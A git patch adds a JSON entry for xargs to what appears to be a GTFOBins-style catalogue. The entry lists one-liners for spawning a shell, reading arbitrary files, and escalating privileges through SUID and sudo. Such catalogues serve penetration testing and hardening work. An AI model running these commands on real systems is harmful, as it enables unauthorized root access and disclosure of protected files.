From 6d529124bfbb4150afcb1178d172604f620fc8d9 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:18:51 +0100 Subject: [PATCH] add data for xargs --- data/xargs.json | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 data/xargs.json diff --git a/data/xargs.json b/data/xargs.json new file mode 100644 index 0000000..3d42105 --- /dev/null +++ b/data/xargs.json @@ -0,0 +1,35 @@ +{ + "functions": { + "shell": [ + { + "description": "GNU version only.", + "code": "xargs -a /dev/null sh" + }, + { + "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'" + }, + { + "description": "Read interactively from 'stdin'.", + "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n" + } + ], + "file-read": [ + { + "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.", + "code": "xargs -a [file] -0\n" + } + ], + "suid": [ + { + "description": "GNU version only.", + "code": "./xargs -a /dev/null sh -p" + } + ], + "sudo": [ + { + "description": "GNU version only.", + "code": "sudo xargs -a /dev/null sh" + } + ] + } +} \ No newline at end of file